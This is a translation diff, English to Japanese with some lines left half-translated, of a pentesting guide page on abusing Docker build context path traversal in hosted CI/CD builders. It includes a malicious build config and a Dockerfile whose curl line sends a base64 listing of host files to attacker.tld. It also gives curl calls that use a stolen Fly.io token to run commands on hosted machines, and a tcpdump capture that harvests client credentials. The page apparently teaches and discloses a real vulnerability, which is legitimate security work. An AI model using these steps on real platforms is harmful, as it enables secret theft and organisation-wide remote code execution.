Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p

src/pentesting-ci-cd/docker-build-context-abuse.md

@@ -1,29 +1,29 @@
-# Abusing Docker Build Context in Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
+# ホストされたビルダーでの Docker ビルドコンテキストの悪用 (Path Traversal, Exfil, and Cloud Pivot)
 
 {{#include ../banners/hacktricks-training.md}}
 
 ## TL;DR
 
-If a CI/CD platform or hosted builder lets contributors specify the Docker build context path and Dockerfile path, you can often set the context to a parent directory (e.g., "..") and make host files part of the build context. Then, an attacker-controlled Dockerfile can COPY and exfiltrate secrets found in the builder user’s home (for example, ~/.docker/config.json). Stolen registry tokens may also work against the provider’s control-plane APIs, enabling org-wide RCE.
+CI/CD プラットフォームやホストされた builder が貢献者に Docker ビルドコンテキストパスと Dockerfile パスの指定を許す場合、コンテキストを親ディレクトリ（例: ".."）に設定してホスト上のファイルをビルドコンテキストに含めることがしばしば可能です。すると、攻撃者制御下の Dockerfile は COPY してビルダーのユーザホームにある secrets（例: ~/.docker/config.json）を exfiltrate できます。盗まれた registry tokens はプロバイダの control-plane APIs に対しても有効になり、組織全体の RCE を引き起こす可能性があります。
 
-## 攻撃対象
+## 攻撃面
 
-多くの hosted builder/registry サービスは、ユーザーが提出したイメージをビルドするときに概ね次のような処理を行います:
-- Read a repo-level config that includes:
-- build context path (sent to the Docker daemon)
-- Dockerfile path relative to that context
-- Copy the indicated build context directory and the Dockerfile to the Docker daemon
-- Build the image and run it as a hosted service
+多くのホストされた builder/registry サービスは、ユーザー提出のイメージをビルドする際に概ね次の処理を行います:
+- repo-level config を読み、その中に以下を含む:
+  - build context path（Docker daemon に送られる）
+  - Dockerfile path（そのコンテキストからの相対パス）
+- 指定された build context ディレクトリと Dockerfile を Docker daemon にコピーする
+- イメージをビルドし、ホストされたサービスとして実行する
 
-プラットフォームが build context を canonicalize して制限しない場合、ユーザーはそれをリポジトリ外の場所（path traversal）に設定でき、build user によって読み取れる任意のホストファイルが build context の一部になり、Dockerfile の COPY で利用可能になります。
+プラットフォームが build context を正規化および制限しない場合、ユーザはそれをリポジトリ外の場所（path traversal）に設定でき、ビルドユーザが読み取れる任意のホストファイルがビルドコンテキストの一部となり、Dockerfile で COPY 可能になります。
 
-一般的に観察される実用的な制約:
-- The Dockerfile must reside within the chosen context path and its path must be known ahead of time.
-- The build user must have read access to files included in the context; special device files can break the copy.
+実際によくある制約:
+- Dockerfile は選択したコンテキストパス内に存在し、そのパスは事前に知られている必要がある。
+- ビルドユーザはコンテキストに含めるファイルに対して読み取り権限を持っている必要がある。特殊なデバイスファイルはコピーを壊す可能性がある。
 
-## PoC: Path traversal via Docker build context
+## PoC: Docker build context を介した Path traversal
 
-Example malicious server config declaring a Dockerfile within the parent directory context:
+親ディレクトリのコンテキスト内に Dockerfile を宣言する悪意あるサーバ設定の例:
 ```yaml
 runtime: "container"
 build:
@@ -41,10 +41,10 @@ exampleConfig:
 apiKey: "sk-example123"
 ```
 注意:
-- ".." を使用すると多くの場合 builder ユーザーのホーム (例: /home/builder) に解決され、通常機密ファイルが含まれます。
-- Dockerfile をリポジトリのディレクトリ名の下に配置してください (例: repo "test" → test/Dockerfile)。そうすることで展開された親コンテキスト内に留まります。
+- 「..」を使用すると、しばしば builder ユーザーのホーム（例: /home/builder）に解決されます。そこには通常、機密ファイルが含まれます。
+- Dockerfile はリポジトリのディレクトリ名の下に置いてください（例: repo "test" → test/Dockerfile）。そうすることで展開された親コンテキスト内に留まります。
 
-## PoC: Dockerfile を使ってホストコンテキストを ingest and exfiltrate する
+## PoC: Dockerfile によるホストコンテキストの ingest と exfiltrate
 ```dockerfile
 FROM alpine
 RUN apk add --no-cache curl
@@ -54,13 +54,13 @@ RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
 ```
 Targets commonly recovered from $HOME:
 - ~/.docker/config.json (registry auths/tokens)
-- Other cloud/CLI caches and configs (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
+- その他のクラウド/CLI キャッシュおよび設定 (例: ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
 
-Tip: リポジトリに .dockerignore が存在していても、脆弱なプラットフォーム側のコンテキスト選択がデーモンに送信される内容を制御します。プラットフォームが選択したパスをリポジトリの .dockerignore を評価する前にデーモンへコピーする場合、ホストファイルが露出する可能性があります。
+Tip: リポジトリに .dockerignore があっても、脆弱なプラットフォーム側のコンテキスト選択が daemon に送られる内容を制御します。プラットフォームが選択したパスをあなたのリポジトリの .dockerignore を評価する前に daemon にコピーする場合、ホストファイルが依然として露出する可能性があります。
 
-## Cloud pivot with overprivileged tokens (example: Fly.io Machines API)
+## 過剰権限のトークンでのクラウドピボット (example: Fly.io Machines API)
 
-一部のプラットフォームは、コンテナレジストリとコントロールプレーンAPIの両方で使用可能な単一のベアラートークンを発行します。レジストリトークンを流出させた場合は、それをプロバイダの API に対して試してみてください。
+一部のプラットフォームは、container registry と control-plane API の両方で使用可能な単一の bearer token を発行します。もし you exfiltrate a registry token, try it against the provider API.
 
 Example API calls against Fly.io Machines API using the stolen token from ~/.docker/config.json:
 
@@ -75,11 +75,11 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \
 "https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
 --data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
 ```
-Outcome: トークンに十分な権限がある場合、すべての hosted apps に対して組織全体での remote code execution を達成できる。
+結果：token が十分な権限を持つ場合、組織全体にわたってホストされているアプリすべてで remote code execution を実行できます。
 
-## 侵害された hosted services からの Secret 窃取
+## 侵害されたホスティングサービスからの機密情報窃取
 
-exec/RCE を hosted servers 上で得ると、client-supplied secrets（API keys、tokens）を回収したり、prompt-injection 攻撃を仕掛けたりできる。例: tcpdump をインストールして port 8080 の HTTP トラフィックをキャプチャし、受信 credentials を抽出する。
+hosted servers 上で exec/RCE を得ると、クライアントが提供した機密（API keys、tokens）を収集したり、prompt-injection 攻撃を仕掛けたりできます。例: tcpdump をインストールして port 8080 の HTTP トラフィックをキャプチャし、着信認証情報を抽出します。
 ```bash
 # Install tcpdump inside the machine
 curl -s -X POST -H "Authorization: Bearer fm2_..." \
@@ -91,9 +91,9 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \
 "https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
 --data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
 ```
-Captured requests には、headers、bodies、または query params に client credentials が含まれていることがよくあります。
+キャプチャしたリクエストには、ヘッダー、本文、またはクエリパラメータにクライアント認証情報が含まれていることがよくあります。
 
-## 参考資料
+## References
 
 - [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
 - [Fly.io Machines API](https://fly.io/docs/machines/api/)